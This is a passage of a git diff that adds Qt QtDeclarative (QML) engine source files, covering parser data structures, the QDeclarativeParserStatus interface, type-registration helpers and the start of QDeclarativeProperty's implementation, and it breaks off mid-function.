+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPARSER_P_H
+#define QDECLARATIVEPARSER_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarative.h"
+
+#include <QtCore/qbytearray.h>
+#include <QtCore/qlist.h>
+#include <QtCore/qurl.h>
+#include <QtCore/qstring.h>
+#include <QtCore/qstringlist.h>
+
+#include <private/qobject_p.h>
+#include <private/qdeclarativerefcount_p.h>
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativePropertyCache;
+namespace QDeclarativeJS { namespace AST { class Node; } }
+
+/*
+ XXX
+
+ These types are created (and owned) by the QDeclarativeXmlParser and consumed by the
+ QDeclarativeCompiler. During the compilation phase the compiler will update some of
+ the fields for both its own use and for the use of the upcoming QDeclarativeDom API.
+
+ The types are part of the generic sounding "QDeclarativeParser" namespace for legacy
+ reasons (there used to be more in this namespace) and will be cleaned up and
+ migrated into a more appropriate location shortly.
+*/
+namespace QDeclarativeParser
+{
+ struct Location
+ {
+ Location() : line(-1), column(-1) {}
+ int line;
+ int column;
+ };
+
+ struct LocationRange
+ {
+ LocationRange() : offset(0), length(0) {}
+ quint32 offset;
+ quint32 length;
+ };
+
+ struct LocationSpan
+ {
+ Location start;
+ Location end;
+ LocationRange range;
+
+ bool operator<(LocationSpan &o) const {
+ return (start.line < o.start.line) ||
+ (start.line == o.start.line && start.column < o.start.column);
+ }
+ };
+
+ class Property;
+ class Object : public QDeclarativeRefCount
+ {
+ public:
+ Object();
+ virtual ~Object();
+
+ // Type of the object. The integer is an index into the
+ // QDeclarativeCompiledData::types array, or -1 if the object is a property
+ // group.
+ int type;
+ // The url of this object if it is an external type. Used by the DOM
+ QUrl url;
+
+ // version information if type is defined in library or C++
+ int majorVersion;
+ int minorVersion;
+
+ // The fully-qualified name of this type
+ QByteArray typeName;
+ // The class name
+ QByteArray className;
+ // The id assigned to the object (if any). Set by the QDeclarativeCompiler
+ QString id;
+ // The id index assigned to the object (if any). Set by the QDeclarativeCompiler
+ int idIndex;
+ // Custom parsed data
+ QByteArray custom;
+ // Bit mask of the properties assigned bindings
+ QByteArray bindingBitmask;
+ void setBindingBit(int);
+ // Returns the metaobject for this type, or 0 if not available.
+ // Internally selectd between the metatype and extObject variables
+ const QMetaObject *metaObject() const;
+
+ // The compile time metaobject for this type
+ const QMetaObject *metatype;
+ // The synthesized metaobject, if QML added signals or properties to
+ // this type. Otherwise null
+ QAbstractDynamicMetaObject extObject;
+ QByteArray metadata; // Generated by compiler
+ QByteArray synthdata; // Generated by compiler
+ QDeclarativePropertyCache *synthCache; // Generated by compiler
+
+ Property *getDefaultProperty();
+ Property *getProperty(const QByteArray &name, bool create=true);
+
+ Property *defaultProperty;
+ QHash<QByteArray, Property *> properties;
+
+ // Output of the compilation phase (these properties continue to exist
+ // in either the defaultProperty or properties members too)
+ void addValueProperty(Property *);
+ void addSignalProperty(Property *);
+ void addAttachedProperty(Property *);
+ void addGroupedProperty(Property *);
+ void addValueTypeProperty(Property *);
+ void addScriptStringProperty(Property *, int = 0);
+ QList<Property *> valueProperties;
+ QList<Property *> signalProperties;
+ QList<Property *> attachedProperties;
+ QList<Property *> groupedProperties;
+ QList<Property *> valueTypeProperties;
+ QList<QPair<Property *, int> > scriptStringProperties;
+
+ // Script blocks that were nested under this object
+ struct ScriptBlock {
+ enum Pragma {
+ None = 0x00000000,
+ Shared = 0x00000001
+ };
+ Q_DECLARE_FLAGS(Pragmas, Pragma)
+
+ QString code;
+ QString file;
+ Pragmas pragmas;
+ };
+
+ // The bytes to cast instances by to get to the QDeclarativeParserStatus
+ // interface. -1 indicates the type doesn't support this interface.
+ // Set by the QDeclarativeCompiler.
+ int parserStatusCast;
+
+ LocationSpan location;
+
+ struct DynamicProperty {
+ DynamicProperty();
+ DynamicProperty(const DynamicProperty &);
+
+ enum Type { Variant, Int, Bool, Real, String, Url, Color, Time, Date, DateTime, Alias, Custom, CustomList };
+
+ bool isDefaultProperty;
+ Type type;
+ QByteArray customType;
+ QByteArray name;
+ QDeclarativeParser::Property *defaultValue;
+ LocationSpan location;
+ };
+ struct DynamicSignal {
+ DynamicSignal();
+ DynamicSignal(const DynamicSignal &);
+
+ QByteArray name;
+ QList<QByteArray> parameterTypes;
+ QList<QByteArray> parameterNames;
+ };
+ struct DynamicSlot {
+ DynamicSlot();
+ DynamicSlot(const DynamicSlot &);
+
+ QByteArray name;
+ QString body;
+ QList<QByteArray> parameterNames;
+ LocationSpan location;
+ };
+
+ // The list of dynamic properties
+ QList<DynamicProperty> dynamicProperties;
+ // The list of dynamic signals
+ QList<DynamicSignal> dynamicSignals;
+ // The list of dynamic slots
+ QList<DynamicSlot> dynamicSlots;
+ };
+
+ class Q_DECLARATIVE_EXPORT Variant
+ {
+ public:
+ enum Type {
+ Invalid,
+ Boolean,
+ Number,
+ String,
+ Script
+ };
+
+ Variant();
+ Variant(const Variant &);
+ Variant(bool);
+ Variant(double, const QString &asWritten=QString());
+ Variant(const QString &);
+ Variant(const QString &, QDeclarativeJS::AST::Node *);
+ Variant &operator=(const Variant &);
+
+ Type type() const;
+
+ bool isBoolean() const { return type() == Boolean; }
+ bool isNumber() const { return type() == Number; }
+ bool isString() const { return type() == String; }
+ bool isScript() const { return type() == Script; }
+ bool isStringList() const;
+
+ bool asBoolean() const;
+ QString asString() const;
+ double asNumber() const;
+ QString asScript() const;
+ QDeclarativeJS::AST::Node *asAST() const;
+ QStringList asStringList() const;
+
+ private:
+ Type t;
+ union {
+ bool b;
+ double d;
+ QDeclarativeJS::AST::Node *n;
+ };
+ QString s;
+ };
+
+ class Value : public QDeclarativeRefCount
+ {
+ public:
+ Value();
+ virtual ~Value();
+
+ enum Type {
+ // The type of this value assignment is not yet known
+ Unknown,
+ // This is used as a literal property assignment
+ Literal,
+ // This is used as a property binding assignment
+ PropertyBinding,
+ // This is used as a QDeclarativePropertyValueSource assignment
+ ValueSource,
+ // This is used as a QDeclarativePropertyValueInterceptor assignment
+ ValueInterceptor,
+ // This is used as a property QObject assignment
+ CreatedObject,
+ // This is used as a signal object assignment
+ SignalObject,
+ // This is used as a signal expression assignment
+ SignalExpression,
+ // This is used as an id assignment only
+ Id
+ };
+ Type type;
+
+ // ### Temporary (for id only)
+ QString primitive() const { return value.isString() ? value.asString() : value.asScript(); }
+
+ // Primitive value
+ Variant value;
+ // Object value
+ Object *object;
+
+ LocationSpan location;
+ };
+
+ class Property : public QDeclarativeRefCount
+ {
+ public:
+ Property();
+ Property(const QByteArray &n);
+ virtual ~Property();
+
+ // The Object to which this property is attached
+ Object *parent;
+
+ Object *getValue(const LocationSpan &);
+ void addValue(Value *v);
+ void addOnValue(Value *v);
+
+ // The QVariant::Type of the property, or 0 (QVariant::Invalid) if
+ // unknown.
+ int type;
+ // The metaobject index of this property, or -1 if unknown.
+ int index;
+
+ // Returns true if this is an empty property - both value and values
+ // are unset.
+ bool isEmpty() const;
+ // The list of values assigned to this property. Content in values
+ // and value are mutually exclusive
+ QList<Value *> values;
+ // The list of values assigned to this property using the "on" syntax
+ QList<Value *> onValues;
+ // The accessed property. This is used to represent dot properties.
+ // Content in value and values are mutually exclusive.
+ Object *value;
+ // The property name
+ QByteArray name;
+ // True if this property was accessed as the default property.
+ bool isDefault;
+ // True if the setting of this property will be deferred. Set by the
+ // QDeclarativeCompiler
+ bool isDeferred;
+ // True if this property is a value-type pseudo-property
+ bool isValueTypeSubProperty;
+ // True if this property is a property alias. Set by the
+ // QDeclarativeCompiler
+ bool isAlias;
+
+ LocationSpan location;
+ LocationRange listValueRange;
+ QList<int> listCommaPositions;
+ };
+}
+
+Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeParser::Object::ScriptBlock::Pragmas);
+
+QT_END_NAMESPACE
+
+Q_DECLARE_METATYPE(QDeclarativeParser::Variant)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEPARSER_P_H
diff --git a/src/declarative/qml/qdeclarativeparserstatus.cpp b/src/declarative/qml/qdeclarativeparserstatus.cpp
new file mode 100644
index 00000000..ebf47152
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeparserstatus.cpp
@@ -0,0 +1,107 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativeparserstatus.h"
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \class QDeclarativeParserStatus
+ \since 4.7
+ \brief The QDeclarativeParserStatus class provides updates on the QML parser state.
+
+ QDeclarativeParserStatus provides a mechanism for classes instantiated by
+ a QDeclarativeEngine to receive notification at key points in their creation.
+
+ This class is often used for optimization purposes, as it allows you to defer an
+ expensive operation until after all the properties have been set on an
+ object. For example, QML's \l {Text} element uses the parser status
+ to defer text layout until all of its properties have been set (we
+ don't want to layout when the \c text is assigned, and then relayout
+ when the \c font is assigned, and relayout again when the \c width is assigned,
+ and so on).
+
+ To use QDeclarativeParserStatus, you must inherit both a QObject-derived class
+ and QDeclarativeParserStatus, and use the Q_INTERFACES() macro.
+
+ \code
+ class MyObject : public QObject, public QDeclarativeParserStatus
+ {
+ Q_OBJECT
+ Q_INTERFACES(QDeclarativeParserStatus)
+
+ public:
+ MyObject(QObject *parent = 0);
+ ...
+ void classBegin();
+ void componentComplete();
+ }
+ \endcode
+*/
+
+/*! \internal */
+QDeclarativeParserStatus::QDeclarativeParserStatus()
+: d(0)
+{
+}
+
+/*! \internal */
+QDeclarativeParserStatus::~QDeclarativeParserStatus()
+{
+ if(d)
+ (*d) = 0;
+}
+
+/*!
+ \fn void QDeclarativeParserStatus::classBegin()
+
+ Invoked after class creation, but before any properties have been set.
+*/
+
+/*!
+ \fn void QDeclarativeParserStatus::componentComplete()
+
+ Invoked after the root component that caused this instantiation has
+ completed construction. At this point all static values and binding values
+ have been assigned to the class.
+*/
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativeparserstatus.h b/src/declarative/qml/qdeclarativeparserstatus.h
new file mode 100644
index 00000000..460600af
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeparserstatus.h
@@ -0,0 +1,75 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPARSERSTATUS_H
+#define QDECLARATIVEPARSERSTATUS_H
+
+#include <QtCore/qobject.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class Q_DECLARATIVE_EXPORT QDeclarativeParserStatus
+{
+public:
+ QDeclarativeParserStatus();
+ virtual ~QDeclarativeParserStatus();
+
+ virtual void classBegin()=0;
+ virtual void componentComplete()=0;
+
+private:
+ friend class QDeclarativeVME;
+ friend class QDeclarativeComponent;
+ friend class QDeclarativeComponentPrivate;
+ friend class QDeclarativeEnginePrivate;
+ QDeclarativeParserStatus **d;
+};
+Q_DECLARE_INTERFACE(QDeclarativeParserStatus, "com.trolltech.qml.QDeclarativeParserStatus")
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEPARSERSTATUS_H
diff --git a/src/declarative/qml/qdeclarativeprivate.h b/src/declarative/qml/qdeclarativeprivate.h
new file mode 100644
index 00000000..20dcca0e
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeprivate.h
@@ -0,0 +1,249 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPRIVATE_H
+#define QDECLARATIVEPRIVATE_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/qglobal.h>
+#include <QtCore/qvariant.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+typedef QObject *(*QDeclarativeAttachedPropertiesFunc)(QObject *);
+
+template <typename TYPE>
+class QDeclarativeTypeInfo
+{
+public:
+ enum {
+ hasAttachedProperties = 0
+ };
+};
+
+
+class QDeclarativeCustomParser;
+namespace QDeclarativePrivate
+{
+ void Q_DECLARATIVE_EXPORT qdeclarativeelement_destructor(QObject *);
+ template<typename T>
+ class QDeclarativeElement : public T
+ {
+ public:
+ virtual ~QDeclarativeElement() {
+ QDeclarativePrivate::qdeclarativeelement_destructor(this);
+ }
+ };
+
+ template<typename T>
+ void createInto(void *memory) { new (memory) QDeclarativeElement<T>; }
+
+ template<typename T>
+ QObject *createParent(QObject *p) { return new T(p); }
+
+ template<class From, class To, int N>
+ struct StaticCastSelectorClass
+ {
+ static inline int cast() { return -1; }
+ };
+
+ template<class From, class To>
+ struct StaticCastSelectorClass<From, To, sizeof(int)>
+ {
+ static inline int cast() { return int(reinterpret_cast<quintptr>(static_cast<To *>(reinterpret_cast<From *>(0x10000000)))) - 0x10000000; }
+ };
+
+ template<class From, class To>
+ struct StaticCastSelector
+ {
+ typedef int yes_type;
+ typedef char no_type;
+
+ static yes_type check(To *);
+ static no_type check(...);
+
+ static inline int cast()
+ {
+ return StaticCastSelectorClass<From, To, sizeof(check(reinterpret_cast<From *>(0)))>::cast();
+ }
+ };
+
+ template <typename T>
+ struct has_attachedPropertiesMember
+ {
+ static bool const value = QDeclarativeTypeInfo<T>::hasAttachedProperties;
+ };
+
+ template <typename T, bool hasMember>
+ class has_attachedPropertiesMethod
+ {
+ public:
+ typedef int yes_type;
+ typedef char no_type;
+
+ template<typename ReturnType>
+ static yes_type check(ReturnType *(*)(QObject *));
+ static no_type check(...);
+
+ static bool const value = sizeof(check(&T::qmlAttachedProperties)) == sizeof(yes_type);
+ };
+
+ template <typename T>
+ class has_attachedPropertiesMethod<T, false>
+ {
+ public:
+ static bool const value = false;
+ };
+
+ template<typename T, int N>
+ class AttachedPropertySelector
+ {
+ public:
+ static inline QDeclarativeAttachedPropertiesFunc func() { return 0; }
+ static inline const QMetaObject *metaObject() { return 0; }
+ };
+ template<typename T>
+ class AttachedPropertySelector<T, 1>
+ {
+ static inline QObject *attachedProperties(QObject *obj) {
+ return T::qmlAttachedProperties(obj);
+ }
+ template<typename ReturnType>
+ static inline const QMetaObject *attachedPropertiesMetaObject(ReturnType *(*)(QObject *)) {
+ return &ReturnType::staticMetaObject;
+ }
+ public:
+ static inline QDeclarativeAttachedPropertiesFunc func() {
+ return &attachedProperties;
+ }
+ static inline const QMetaObject *metaObject() {
+ return attachedPropertiesMetaObject(&T::qmlAttachedProperties);
+ }
+ };
+
+ template<typename T>
+ inline QDeclarativeAttachedPropertiesFunc attachedPropertiesFunc()
+ {
+ return AttachedPropertySelector<T, has_attachedPropertiesMethod<T, has_attachedPropertiesMember<T>::value>::value>::func();
+ }
+
+ template<typename T>
+ inline const QMetaObject *attachedPropertiesMetaObject()
+ {
+ return AttachedPropertySelector<T, has_attachedPropertiesMethod<T, has_attachedPropertiesMember<T>::value>::value>::metaObject();
+ }
+
+ enum AutoParentResult { Parented, IncompatibleObject, IncompatibleParent };
+ typedef AutoParentResult (*AutoParentFunction)(QObject *object, QObject *parent);
+
+ struct RegisterType {
+ int version;
+
+ int typeId;
+ int listId;
+ int objectSize;
+ void (*create)(void *);
+ QString noCreationReason;
+
+ const char *uri;
+ int versionMajor;
+ int versionMinor;
+ const char *elementName;
+ const QMetaObject *metaObject;
+
+ QDeclarativeAttachedPropertiesFunc attachedPropertiesFunction;
+ const QMetaObject *attachedPropertiesMetaObject;
+
+ int parserStatusCast;
+ int valueSourceCast;
+ int valueInterceptorCast;
+
+ QObject *(*extensionObjectCreate)(QObject *);
+ const QMetaObject *extensionMetaObject;
+
+ QDeclarativeCustomParser *customParser;
+ int revision;
+ // If this is extended ensure "version" is bumped!!!
+ };
+
+ struct RegisterInterface {
+ int version;
+
+ int typeId;
+ int listId;
+
+ const char *iid;
+ };
+
+ struct RegisterAutoParent {
+ int version;
+
+ AutoParentFunction function;
+ };
+
+ enum RegistrationType {
+ TypeRegistration = 0,
+ InterfaceRegistration = 1,
+ AutoParentRegistration = 2
+ };
+
+ int Q_DECLARATIVE_EXPORT qmlregister(RegistrationType, void *);
+}
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEPRIVATE_H
diff --git a/src/declarative/qml/qdeclarativeproperty.cpp b/src/declarative/qml/qdeclarativeproperty.cpp
new file mode 100644
index 00000000..05bec635
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeproperty.cpp
@@ -0,0 +1,1654 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativeproperty.h"
+#include "private/qdeclarativeproperty_p.h"
+
+#include "qdeclarative.h"
+#include "private/qdeclarativebinding_p.h"
+#include "qdeclarativecontext.h"
+#include "private/qdeclarativecontext_p.h"
+#include "private/qdeclarativeboundsignal_p.h"
+#include "qdeclarativeengine.h"
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativedata_p.h"
+#include "private/qdeclarativestringconverters_p.h"
+#include "private/qdeclarativelist_p.h"
+#include "private/qdeclarativecompiler_p.h"
+#include "private/qdeclarativevmemetaobject_p.h"
+
+#include <QStringList>
+#include <QtCore/qdebug.h>
+
+#include <math.h>
+
+QT_BEGIN_NAMESPACE
+
+/*!
+\class QDeclarativeProperty
+\since 4.7
+\brief The QDeclarativeProperty class abstracts accessing properties on objects created from QML.
+
+As QML uses Qt's meta-type system all of the existing QMetaObject classes can be used to introspect
+and interact with objects created by QML. However, some of the new features provided by QML - such
+as type safety and attached properties - are most easily used through the QDeclarativeProperty class
+that simplifies some of their natural complexity.
+
+Unlike QMetaProperty which represents a property on a class type, QDeclarativeProperty encapsulates
+a property on a specific object instance. To read a property's value, programmers create a
+QDeclarativeProperty instance and call the read() method. Likewise to write a property value the
+write() method is used.
+
+For example, for the following QML code:
+
+\qml
+// MyItem.qml
+import QtQuick 1.0
+
+Text { text: "A bit of text" }
+\endqml
+
+The \l Text object's properties could be accessed using QDeclarativeProperty, like this:
+
+\code
+#include <QDeclarativeProperty>
+#include <QGraphicsObject>
+
+...
+
+QDeclarativeView view(QUrl::fromLocalFile("MyItem.qml"));
+QDeclarativeProperty property(view.rootObject(), "font.pixelSize");
+qWarning() << "Current pixel size:" << property.read().toInt();
+property.write(24);
+qWarning() << "Pixel size should now be 24:" << property.read().toInt();
+\endcode
+*/
+
+/*!
+ Create an invalid QDeclarativeProperty.
+*/
+QDeclarativeProperty::QDeclarativeProperty()
+: d(0)
+{
+}
+
+/*! \internal */
+QDeclarativeProperty::~QDeclarativeProperty()
+{
+ if (d)
+ d->release();
+ d = 0;
+}
+
+/*!
+ Creates a QDeclarativeProperty for the default property of \a obj. If there is no
+ default property, an invalid QDeclarativeProperty will be created.
+ */
+QDeclarativeProperty::QDeclarativeProperty(QObject *obj)
+: d(new QDeclarativePropertyPrivate)
+{
+ d->initDefault(obj);
+}
+
+/*!
+ Creates a QDeclarativeProperty for the default property of \a obj
+ using the \l{QDeclarativeContext} {context} \a ctxt. If there is
+ no default property, an invalid QDeclarativeProperty will be
+ created.
+ */
+QDeclarativeProperty::QDeclarativeProperty(QObject *obj, QDeclarativeContext *ctxt)
+: d(new QDeclarativePropertyPrivate)
+{
+ d->context = ctxt?QDeclarativeContextData::get(ctxt):0;
+ d->engine = ctxt?ctxt->engine():0;
+ d->initDefault(obj);
+}
+
+/*!
+ Creates a QDeclarativeProperty for the default property of \a obj
+ using the environment for instantiating QML components that is
+ provided by \a engine. If there is no default property, an
+ invalid QDeclarativeProperty will be created.
+ */
+QDeclarativeProperty::QDeclarativeProperty(QObject *obj, QDeclarativeEngine *engine)
+ : d(new QDeclarativePropertyPrivate)
+{
+ d->context = 0;
+ d->engine = engine;
+ d->initDefault(obj);
+}
+
+/*!
+ Initialize from the default property of \a obj
+*/
+void QDeclarativePropertyPrivate::initDefault(QObject *obj)
+{
+ if (!obj)
+ return;
+
+ QMetaProperty p = QDeclarativeMetaType::defaultProperty(obj);
+ core.load(p);
+ if (core.isValid())
+ object = obj;
+}
+
+/*!
+ Creates a QDeclarativeProperty for the property \a name of \a obj.
+ */
+QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name)
+: d(new QDeclarativePropertyPrivate)
+{
+ d->initProperty(obj, name);
+ if (!isValid()) d->object = 0;
+}
+
+/*!
+ Creates a QDeclarativeProperty for the property \a name of \a obj
+ using the \l{QDeclarativeContext} {context} \a ctxt.
+
+ Creating a QDeclarativeProperty without a context will render some
+ properties - like attached properties - inaccessible.
+*/
+QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name, QDeclarativeContext *ctxt)
+: d(new QDeclarativePropertyPrivate)
+{
+ d->context = ctxt?QDeclarativeContextData::get(ctxt):0;
+ d->engine = ctxt?ctxt->engine():0;
+ d->initProperty(obj, name);
+ if (!isValid()) { d->object = 0; d->context = 0; d->engine = 0; }
+}
+
+/*!
+ Creates a QDeclarativeProperty for the property \a name of \a obj
+ using the environment for instantiating QML components that is
+ provided by \a engine.
+ */
+QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name, QDeclarativeEngine *engine)
+: d(new QDeclarativePropertyPrivate)
+{
+ d->context = 0;
+ d->engine = engine;
+ d->initProperty(obj, name);
+ if (!isValid()) { d->object = 0; d->context = 0; d->engine = 0; }
+}
+
+Q_GLOBAL_STATIC(QDeclarativeValueTypeFactory, qmlValueTypes);
+
+void QDeclarativePropertyPrivate::initProperty(QObject *obj, const QString &name)
+{
+ if (!obj) return;
+
+ QDeclarativeTypeNameCache *typeNameCache = context?context->imports:0;
+
+ QStringList path = name.split(QLatin1Char('.'));
+ if (path.isEmpty()) return;
+
+ QObject *currentObject = obj;
+
+ // Everything up to the last property must be an "object type" property
+ for (int ii = 0; ii < path.count() - 1; ++ii) {
+ const QString &pathName = path.at(ii);
+
+ if (QDeclarativeTypeNameCache::Data *data = typeNameCache?typeNameCache->data(pathName):0) {
+ if (data->type) {
+ QDeclarativeAttachedPropertiesFunc func = data->type->attachedPropertiesFunction();
+ if (!func) return; // Not an attachable type
+
+ currentObject = qmlAttachedPropertiesObjectById(data->type->attachedPropertiesId(), currentObject);
+ if (!currentObject) return; // Something is broken with the attachable type
+ } else {
+ Q_ASSERT(data->typeNamespace);
+ if ((ii + 1) == path.count()) return; // No type following the namespace
+
+ ++ii; data = data->typeNamespace->data(path.at(ii));
+ if (!data || !data->type) return; // Invalid type in namespace
+
+ QDeclarativeAttachedPropertiesFunc func = data->type->attachedPropertiesFunction();
+ if (!func) return; // Not an attachable type
+
+ currentObject = qmlAttachedPropertiesObjectById(data->type->attachedPropertiesId(), currentObject);
+ if (!currentObject) return; // Something is broken with the attachable type
+ }
+ } else {
+
+ QDeclarativePropertyCache::Data local;
+ QDeclarativePropertyCache::Data *property =
+ QDeclarativePropertyCache::property(engine, obj, pathName, local);
+
+ if (!property) return; // Not a property
+ if (property->flags & QDeclarativePropertyCache::Data::IsFunction)
+ return; // Not an object property
+
+ if (ii == (path.count() - 2) && QDeclarativeValueTypeFactory::isValueType(property->propType)) {
+ // We're now at a value type property. We can use a global valuetypes array as we
+ // never actually use the objects, just look up their properties.
+ QObject *typeObject = (*qmlValueTypes())[property->propType];
+ if (!typeObject) return; // Not a value type
+
+ int idx = typeObject->metaObject()->indexOfProperty(path.last().toUtf8().constData());
+ if (idx == -1) return; // Value type property does not exist
+
+ QMetaProperty vtProp = typeObject->metaObject()->property(idx);
+
+ object = currentObject;
+ core = *property;
+ valueType.flags = QDeclarativePropertyCache::Data::flagsForProperty(vtProp);
+ valueType.valueTypeCoreIdx = idx;
+ valueType.valueTypePropType = vtProp.userType();
+
+ return;
+ } else {
+ if (!(property->flags & QDeclarativePropertyCache::Data::IsQObjectDerived))
+ return; // Not an object property
+
+ void *args[] = { &currentObject, 0 };
+ QMetaObject::metacall(currentObject, QMetaObject::ReadProperty, property->coreIndex, args);
+ if (!currentObject) return; // No value
+
+ }
+ }
+
+ }
+
+ const QString &terminal = path.last();
+
+ if (terminal.count() >= 3 &&
+ terminal.at(0) == QLatin1Char('o') &&
+ terminal.at(1) == QLatin1Char('n') &&
